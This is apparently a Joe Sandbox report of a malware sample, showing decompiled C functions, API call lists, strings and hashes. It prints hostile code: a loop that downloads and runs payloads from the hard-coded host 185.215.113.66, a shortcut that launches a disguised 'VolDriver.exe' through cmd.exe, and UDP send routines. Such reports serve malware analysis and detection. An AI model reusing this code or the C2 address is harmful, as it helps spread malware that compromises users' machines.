                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: File$CriticalSection$BuffersCloseCreateEnterFlushHandleLeaveWrite
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2945370292-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 7678e9b84c2ddcff9cac3e89f87ce428270e6add58285487ef473bdce6231568
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 2b18f2e3450dcd847f558ad843e7035d27ef42f20a0987f1f41a040e88bd04a4
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7678e9b84c2ddcff9cac3e89f87ce428270e6add58285487ef473bdce6231568
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F0718FF5A002099BCB04CF94D985FEFB7B5BB88304F148169E505BB382D779A941CBA9
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040BA90 Relevance: 9.1, APIs: 6, Instructions: 80threadCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E0040BA90(signed int* _a4, long _a8, _Unknown_base(*)()* _a12, void* _a16, DWORD* _a20, HANDLE* _a24) {
				long _v8;
				signed int* _v12;
				void* _v16;
				void* _t49;

				_v8 = 0;
				if(_a4 == 0) {
					L8:
					return _v8;
				}
				_v12 = _a4;
				EnterCriticalSection( &(_v12[1]));
				E0040BA10( &(_v12[1]), _v12);
				if(_a12 != 0) {
					_v12[7] = E00408A50(_v12[7], 4 +  *_v12 * 4, _v12[7], 4 +  *_v12 * 4);
					if(_v12[7] != 0) {
						_v16 = CreateThread(0, _a8, _a12, _a16, 0, _a20);
						if(_v16 != 0) {
							 *((intOrPtr*)(_v12[7] +  *_v12 * 4)) = _v16;
							 *_v12 =  *_v12 + 1;
							if(_a24 != 0) {
								_t49 = GetCurrentProcess();
								DuplicateHandle(GetCurrentProcess(), _v16, _t49, _a24, 0, 0, 2);
							}
							_v8 = 1;
						}
					}
				}
				LeaveCriticalSection( &(_v12[1]));
				goto L8;
			}







                                                                                                                                                                                                                                                                                                                                                      0x0040ba96
                                                                                                                                                                                                                                                                                                                                                      0x0040baa1
                                                                                                                                                                                                                                                                                                                                                      0x0040bb78
                                                                                                                                                                                                                                                                                                                                                      0x0040bb7e
                                                                                                                                                                                                                                                                                                                                                      0x0040bb7e
                                                                                                                                                                                                                                                                                                                                                      0x0040baaa
                                                                                                                                                                                                                                                                                                                                                      0x0040bab4
                                                                                                                                                                                                                                                                                                                                                      0x0040babe
                                                                                                                                                                                                                                                                                                                                                      0x0040baca
                                                                                                                                                                                                                                                                                                                                                      0x0040baef
                                                                                                                                                                                                                                                                                                                                                      0x0040baf9
                                                                                                                                                                                                                                                                                                                                                      0x0040bb15
                                                                                                                                                                                                                                                                                                                                                      0x0040bb1c
                                                                                                                                                                                                                                                                                                                                                      0x0040bb2c
                                                                                                                                                                                                                                                                                                                                                      0x0040bb3a
                                                                                                                                                                                                                                                                                                                                                      0x0040bb40
                                                                                                                                                                                                                                                                                                                                                      0x0040bb4c
                                                                                                                                                                                                                                                                                                                                                      0x0040bb5e
                                                                                                                                                                                                                                                                                                                                                      0x0040bb5e
                                                                                                                                                                                                                                                                                                                                                      0x0040bb64
                                                                                                                                                                                                                                                                                                                                                      0x0040bb64
                                                                                                                                                                                                                                                                                                                                                      0x0040bb1c
                                                                                                                                                                                                                                                                                                                                                      0x0040baf9
                                                                                                                                                                                                                                                                                                                                                      0x0040bb72
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040BAB4
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BA10: WaitForSingleObject.KERNEL32(?,00000000), ref: 0040BA50
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BA10: CloseHandle.KERNEL32(?), ref: 0040BA69
                                                                                                                                                                                                                                                                                                                                                      • CreateThread.KERNEL32 ref: 0040BB0F
                                                                                                                                                                                                                                                                                                                                                      • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040BB4C
                                                                                                                                                                                                                                                                                                                                                      • GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040BB57
                                                                                                                                                                                                                                                                                                                                                      • DuplicateHandle.KERNEL32(00000000), ref: 0040BB5E
                                                                                                                                                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(-00000004), ref: 0040BB72
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CriticalCurrentHandleProcessSection$CloseCreateDuplicateEnterLeaveObjectSingleThreadWait
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2251373460-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 3782f769450ed6582a1443bec581f483a9540fc43a2cdbaa5fa004088d036f1b
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: e032b862b2e28ba773953d60cf18c6906d65e3a157070247055cde097aad60f0
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3782f769450ed6582a1443bec581f483a9540fc43a2cdbaa5fa004088d036f1b
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1B311E74A00208EFDB14DF94D889F9E7BB5FF48304F1085A9E905A7391D779AA81CF98
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00407870 Relevance: 9.1, APIs: 6, Instructions: 60COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00407870(signed int _a4, signed int _a8) {

				L0040ECEE();
				L0040ECE8();
				_a4 = _a4 | _a4;
				_a8 = _a8 | _a8;
				L0040ECEE();
				L0040ECE8();
				_a4 = _a4 & 0x0000ffff | _a4 & 0xffff0000;
				_a8 = _a8 & 0x0000ffff | _a8 & 0xffff0000;
				L0040ECEE();
				L0040ECE8();
				_a4 = _a4 & 0x00ff00ff | _a4 & 0xff00ff00;
				_a8 = _a8 & 0x00ff00ff | _a8 & 0xff00ff00;
				return _a4;
			}



                                                                                                                                                                                                                                                                                                                                                      0x0040787d
                                                                                                                                                                                                                                                                                                                                                      0x0040788e
                                                                                                                                                                                                                                                                                                                                                      0x00407897
                                                                                                                                                                                                                                                                                                                                                      0x0040789a
                                                                                                                                                                                                                                                                                                                                                      0x004078b0
                                                                                                                                                                                                                                                                                                                                                      0x004078cc
                                                                                                                                                                                                                                                                                                                                                      0x004078d5
                                                                                                                                                                                                                                                                                                                                                      0x004078d8
                                                                                                                                                                                                                                                                                                                                                      0x004078ee
                                                                                                                                                                                                                                                                                                                                                      0x0040790a
                                                                                                                                                                                                                                                                                                                                                      0x00407913
                                                                                                                                                                                                                                                                                                                                                      0x00407916
                                                                                                                                                                                                                                                                                                                                                      0x00407922

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: _allshl_aullshr
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 673498613-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 8ea7b64097fb68af6753185209a0c413dd0031376398f2c807c5146dc0d87a2e
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: bef6b3becddf45f5f10f82a1f07111f5e31d231ee21e8a1fad85fa2f62557b61
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 8ea7b64097fb68af6753185209a0c413dd0031376398f2c807c5146dc0d87a2e
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: AC1151325145186B9B10EF5EC4826CABBD6EF843A0B14C136FC2CCF319D634D9518BD4
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00405C60 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 58sleepCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 91%
                                                                                                                                                                                                                                                                                                                                                      			E00405C60() {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v44;
				char _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				intOrPtr _v164;
				intOrPtr _v168;
				signed int _v172;
				signed char _t35;
				void* _t45;
				void* _t46;

				_v44 = 0;
				_v40 = 0;
				_v36 = 0;
				_v32 = 0;
				_v28 = 0;
				_v24 = 0;
				_v20 = 0;
				_v16 = 0;
				_v12 = 0;
				_v8 = 0;
				_v168 = 0x411100;
				_v164 = 0x411104;
				_v160 = 0x411108;
				_v156 = 0x41110c;
				_v152 = 0x411110;
				while(1) {
					Sleep(0x3e8);
					_v172 = 0;
					while(_v172 < 5) {
						Sleep(0x3e8);
						_push( *((intOrPtr*)(_t45 + _v172 * 4 - 0xa4)));
						_push("http://185.215.113.66/");
						wsprintfA( &_v148, "%s%s");
						_t35 = E0040D330( &_v148, _t45 + _v172 * 4 - 0x28);
						_t46 = _t46 + 0x18;
						if((_t35 & 0x000000ff) == 1) {
							E0040D3E0( &_v148, 0);
							_t46 = _t46 + 8;
						}
						_v172 = _v172 + 1;
					}
					Sleep(0xdbba0);
				}
			}























                                                                                                                                                                                                                                                                                                                                                      0x00405c69
                                                                                                                                                                                                                                                                                                                                                      0x00405c72
                                                                                                                                                                                                                                                                                                                                                      0x00405c75
                                                                                                                                                                                                                                                                                                                                                      0x00405c78
                                                                                                                                                                                                                                                                                                                                                      0x00405c7b
                                                                                                                                                                                                                                                                                                                                                      0x00405c7e
                                                                                                                                                                                                                                                                                                                                                      0x00405c81
                                                                                                                                                                                                                                                                                                                                                      0x00405c84
                                                                                                                                                                                                                                                                                                                                                      0x00405c87
                                                                                                                                                                                                                                                                                                                                                      0x00405c8a
                                                                                                                                                                                                                                                                                                                                                      0x00405c8d
                                                                                                                                                                                                                                                                                                                                                      0x00405c97
                                                                                                                                                                                                                                                                                                                                                      0x00405ca1
                                                                                                                                                                                                                                                                                                                                                      0x00405cab
                                                                                                                                                                                                                                                                                                                                                      0x00405cb5
                                                                                                                                                                                                                                                                                                                                                      0x00405cbf
                                                                                                                                                                                                                                                                                                                                                      0x00405cc4
                                                                                                                                                                                                                                                                                                                                                      0x00405cca
                                                                                                                                                                                                                                                                                                                                                      0x00405ce5
                                                                                                                                                                                                                                                                                                                                                      0x00405cf3
                                                                                                                                                                                                                                                                                                                                                      0x00405d06
                                                                                                                                                                                                                                                                                                                                                      0x00405d07
                                                                                                                                                                                                                                                                                                                                                      0x00405d18
                                                                                                                                                                                                                                                                                                                                                      0x00405d33
                                                                                                                                                                                                                                                                                                                                                      0x00405d38
                                                                                                                                                                                                                                                                                                                                                      0x00405d41
                                                                                                                                                                                                                                                                                                                                                      0x00405d4c
                                                                                                                                                                                                                                                                                                                                                      0x00405d51
                                                                                                                                                                                                                                                                                                                                                      0x00405d51
                                                                                                                                                                                                                                                                                                                                                      0x00405cdf
                                                                                                                                                                                                                                                                                                                                                      0x00405cdf
                                                                                                                                                                                                                                                                                                                                                      0x00405d5b
                                                                                                                                                                                                                                                                                                                                                      0x00405d5b

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Sleep$wsprintf
                                                                                                                                                                                                                                                                                                                                                      • String ID: %s%s$http://185.215.113.66/
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3195947292-2646931437
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: c2d29a5a82f54b7e3925ced9cbd5e66a9b6a409f4fc8df8a086f8b4b12743491
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: ffd4236d09b0cc1b61e573669b6e99f642ee8622c30dead1791ce8fa64cf6ba2
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c2d29a5a82f54b7e3925ced9cbd5e66a9b6a409f4fc8df8a086f8b4b12743491
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1F211DB0E00318AFDB50DF64DD45BDEBBB4AB09304F1081AAD60DB6281D7785A888F5A
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040DAC0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 106networkCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 68%
                                                                                                                                                                                                                                                                                                                                                      			E0040DAC0(int __eax, long _a4, void* _a8, intOrPtr _a12, short _a16) {
				short _v6;
				short _v10;
				short _v14;
				short _v18;
				short _v20;
				short _v22;
				int* _v24;
				char _v25;
				char _v29;
				int* _v52;
				char _v53;
				short _t30;
				short _t35;
				long _t38;
				int* _t45;
				intOrPtr* _t50;
				void* _t60;
				int _t64;
				long _t67;

				_t50 = _a4;
				_t64 = __eax;
				_t30 = 0;
				_v25 = 0;
				if(_t50 == 0 ||  *_t50 != 0x756470 || _a8 == 0 || __eax == 0) {
					L12:
					return _t30;
				} else {
					_t60 = __eax + 4;
					_t45 = E00408A10(_t60);
					_t6 =  &(_t45[1]); // 0x4
					_v24 = _t45;
					 *_t45 = _t64;
					memcpy(_t6, _a8, _t64);
					_v18 = 0;
					_v14 = 0;
					_v10 = 0;
					_v6 = 0;
					_t35 = _a16;
					_v20 = 2;
					__imp__#9(_t35);
					_v22 = _t35;
					_v20 = _a12;
					if(_t60 == 0) {
						L10:
						_v29 = 1;
						E00408B60(_t45);
						return _v29;
					} else {
						while(1) {
							_t38 = _a4;
							__imp__#20( *((intOrPtr*)(_t38 + 8)), _t45, _t60, 0,  &_v24, 0x10);
							_t67 = _t38;
							if(_t67 == 0xffffffff) {
								break;
							}
							InterlockedExchangeAdd(_a4 + 0x1c, _t67);
							_t60 = _t60 - _t67;
							_t45 = _t45 + _t67;
							if(_t60 != 0) {
								continue;
							} else {
								_v53 = 1;
								E00408B60(_v52);
								return _v53;
							}
							goto L13;
						}
						if(_t60 != 0) {
							E00408B60(_v52);
							_t30 = _v53;
							goto L12;
						} else {
							_t45 = _v52;
							goto L10;
						}
					}
				}
				L13:
			}






















                                                                                                                                                                                                                                                                                                                                                      0x0040dac9
                                                                                                                                                                                                                                                                                                                                                      0x0040dace
                                                                                                                                                                                                                                                                                                                                                      0x0040dad0
                                                                                                                                                                                                                                                                                                                                                      0x0040dad3
                                                                                                                                                                                                                                                                                                                                                      0x0040dad9
                                                                                                                                                                                                                                                                                                                                                      0x0040dbda
                                                                                                                                                                                                                                                                                                                                                      0x0040dbe0
                                                                                                                                                                                                                                                                                                                                                      0x0040dafd
                                                                                                                                                                                                                                                                                                                                                      0x0040dafd
                                                                                                                                                                                                                                                                                                                                                      0x0040db06
                                                                                                                                                                                                                                                                                                                                                      0x0040db0d
                                                                                                                                                                                                                                                                                                                                                      0x0040db11
                                                                                                                                                                                                                                                                                                                                                      0x0040db15
                                                                                                                                                                                                                                                                                                                                                      0x0040db17
                                                                                                                                                                                                                                                                                                                                                      0x0040db1e
                                                                                                                                                                                                                                                                                                                                                      0x0040db22
                                                                                                                                                                                                                                                                                                                                                      0x0040db26
                                                                                                                                                                                                                                                                                                                                                      0x0040db2a
                                                                                                                                                                                                                                                                                                                                                      0x0040db2f
                                                                                                                                                                                                                                                                                                                                                      0x0040db3b
                                                                                                                                                                                                                                                                                                                                                      0x0040db40
                                                                                                                                                                                                                                                                                                                                                      0x0040db49
                                                                                                                                                                                                                                                                                                                                                      0x0040db4e
                                                                                                                                                                                                                                                                                                                                                      0x0040db54
                                                                                                                                                                                                                                                                                                                                                      0x0040dbb0
                                                                                                                                                                                                                                                                                                                                                      0x0040dbb1
                                                                                                                                                                                                                                                                                                                                                      0x0040dbb6
                                                                                                                                                                                                                                                                                                                                                      0x0040dbc8
                                                                                                                                                                                                                                                                                                                                                      0x0040db56
                                                                                                                                                                                                                                                                                                                                                      0x0040db56
                                                                                                                                                                                                                                                                                                                                                      0x0040db56
                                                                                                                                                                                                                                                                                                                                                      0x0040db68
                                                                                                                                                                                                                                                                                                                                                      0x0040db6e
                                                                                                                                                                                                                                                                                                                                                      0x0040db73
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040db7d
                                                                                                                                                                                                                                                                                                                                                      0x0040db83
                                                                                                                                                                                                                                                                                                                                                      0x0040db85
                                                                                                                                                                                                                                                                                                                                                      0x0040db89
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040db8b
                                                                                                                                                                                                                                                                                                                                                      0x0040db90
                                                                                                                                                                                                                                                                                                                                                      0x0040db95
                                                                                                                                                                                                                                                                                                                                                      0x0040dba7
                                                                                                                                                                                                                                                                                                                                                      0x0040dba7
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040db89
                                                                                                                                                                                                                                                                                                                                                      0x0040dbaa
                                                                                                                                                                                                                                                                                                                                                      0x0040dbce
                                                                                                                                                                                                                                                                                                                                                      0x0040dbd3
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040dbac
                                                                                                                                                                                                                                                                                                                                                      0x0040dbac
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040dbac
                                                                                                                                                                                                                                                                                                                                                      0x0040dbaa
                                                                                                                                                                                                                                                                                                                                                      0x0040db54
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • memcpy.NTDLL(00000004,00000000,?,?), ref: 0040DB17
                                                                                                                                                                                                                                                                                                                                                      • htons.WS2_32(?), ref: 0040DB40
                                                                                                                                                                                                                                                                                                                                                      • sendto.WS2_32(?,00000000,?,00000000,?,00000010), ref: 0040DB68
                                                                                                                                                                                                                                                                                                                                                      • InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040DB7D
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: ExchangeInterlockedhtonsmemcpysendto
                                                                                                                                                                                                                                                                                                                                                      • String ID: pdu
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2164660128-2320407122
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 2f5487a257ea78fc47c3c2aa88cfad0de175958526ee1cb7d071c3feff77e95b
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: e5113007e974e67825df127a2d5b5685a505e22743b1e83325dad6d2005c263a
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2f5487a257ea78fc47c3c2aa88cfad0de175958526ee1cb7d071c3feff77e95b
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3031E3766043049FC710DFA9D880A9BB7F4AFC9714F04456EF89897381E67499088BAB
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00404CE0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94comCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 54%
                                                                                                                                                                                                                                                                                                                                                      			E00404CE0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				short _v540;
				char* _t37;
				intOrPtr _t42;

				__imp__CoInitialize(0);
				_t37 =  &_v12;
				__imp__CoCreateInstance(0x410330, 0, 1, 0x410320, _t37);
				_v8 = _t37;
				if(_v8 >= 0 && _v12 != 0) {
					wsprintfW( &_v540, L"/c start .\\%s & start .\\%s\\VolDriver.exe", 0x41411c, 0x41411c);
					 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x50))))(_v12, L"%windir%\\System32\\cmd.exe");
					_t42 =  *_v12;
					_t13 = _t42 + 0x44; // 0xffed0c85
					 *((intOrPtr*)( *_t13))(_v12, _a8, _a12);
					 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x3c))))(_v12, 7);
					 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x2c))))(_v12,  &_v540);
					_v8 =  *((intOrPtr*)( *((intOrPtr*)( *_v12))))(_v12, 0x410340,  &_v16);
					if(_v8 >= 0 && _v16 != 0) {
						 *((intOrPtr*)( *((intOrPtr*)( *_v16 + 0x18))))(_v16, _a4, 1);
						 *((intOrPtr*)( *((intOrPtr*)( *_v16 + 8))))(_v16);
					}
					return  *((intOrPtr*)( *((intOrPtr*)( *_v12 + 8))))(_v12);
				}
				return _t37;
			}









                                                                                                                                                                                                                                                                                                                                                      0x00404ceb
                                                                                                                                                                                                                                                                                                                                                      0x00404cf1
                                                                                                                                                                                                                                                                                                                                                      0x00404d03
                                                                                                                                                                                                                                                                                                                                                      0x00404d09
                                                                                                                                                                                                                                                                                                                                                      0x00404d10
                                                                                                                                                                                                                                                                                                                                                      0x00404d36
                                                                                                                                                                                                                                                                                                                                                      0x00404d50
                                                                                                                                                                                                                                                                                                                                                      0x00404d5d
                                                                                                                                                                                                                                                                                                                                                      0x00404d63
                                                                                                                                                                                                                                                                                                                                                      0x00404d66
                                                                                                                                                                                                                                                                                                                                                      0x00404d76
                                                                                                                                                                                                                                                                                                                                                      0x00404d8b
                                                                                                                                                                                                                                                                                                                                                      0x00404da3
                                                                                                                                                                                                                                                                                                                                                      0x00404daa
                                                                                                                                                                                                                                                                                                                                                      0x00404dc4
                                                                                                                                                                                                                                                                                                                                                      0x00404dd2
                                                                                                                                                                                                                                                                                                                                                      0x00404dd2
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00404de0
                                                                                                                                                                                                                                                                                                                                                      0x00404de5

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • CoInitialize.OLE32(00000000), ref: 00404CEB
                                                                                                                                                                                                                                                                                                                                                      • CoCreateInstance.OLE32(00410330,00000000,00000001,00410320,?), ref: 00404D03
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00404D36
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      • %windir%\System32\cmd.exe, xrefs: 00404D3F
                                                                                                                                                                                                                                                                                                                                                      • /c start .\%s & start .\%s\VolDriver.exe, xrefs: 00404D2A
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CreateInitializeInstancewsprintf
                                                                                                                                                                                                                                                                                                                                                      • String ID: %windir%\System32\cmd.exe$/c start .\%s & start .\%s\VolDriver.exe
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2038452267-2473591295
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: c827c54ba181ebdc5ccbdba5ca5e0ecd641aa0d25442cd6d674f17fa5b22de3c
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: f00becdefc90cfbf17efeaf49e2251ef219d43fc4a4b80fc3024d4bdfac9fe3b
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c827c54ba181ebdc5ccbdba5ca5e0ecd641aa0d25442cd6d674f17fa5b22de3c
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8031B879A40108BFCB04DF98C885FDEB7B5EF88704F208199E619A73A1D774AE81CB54
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040BCC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 47COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
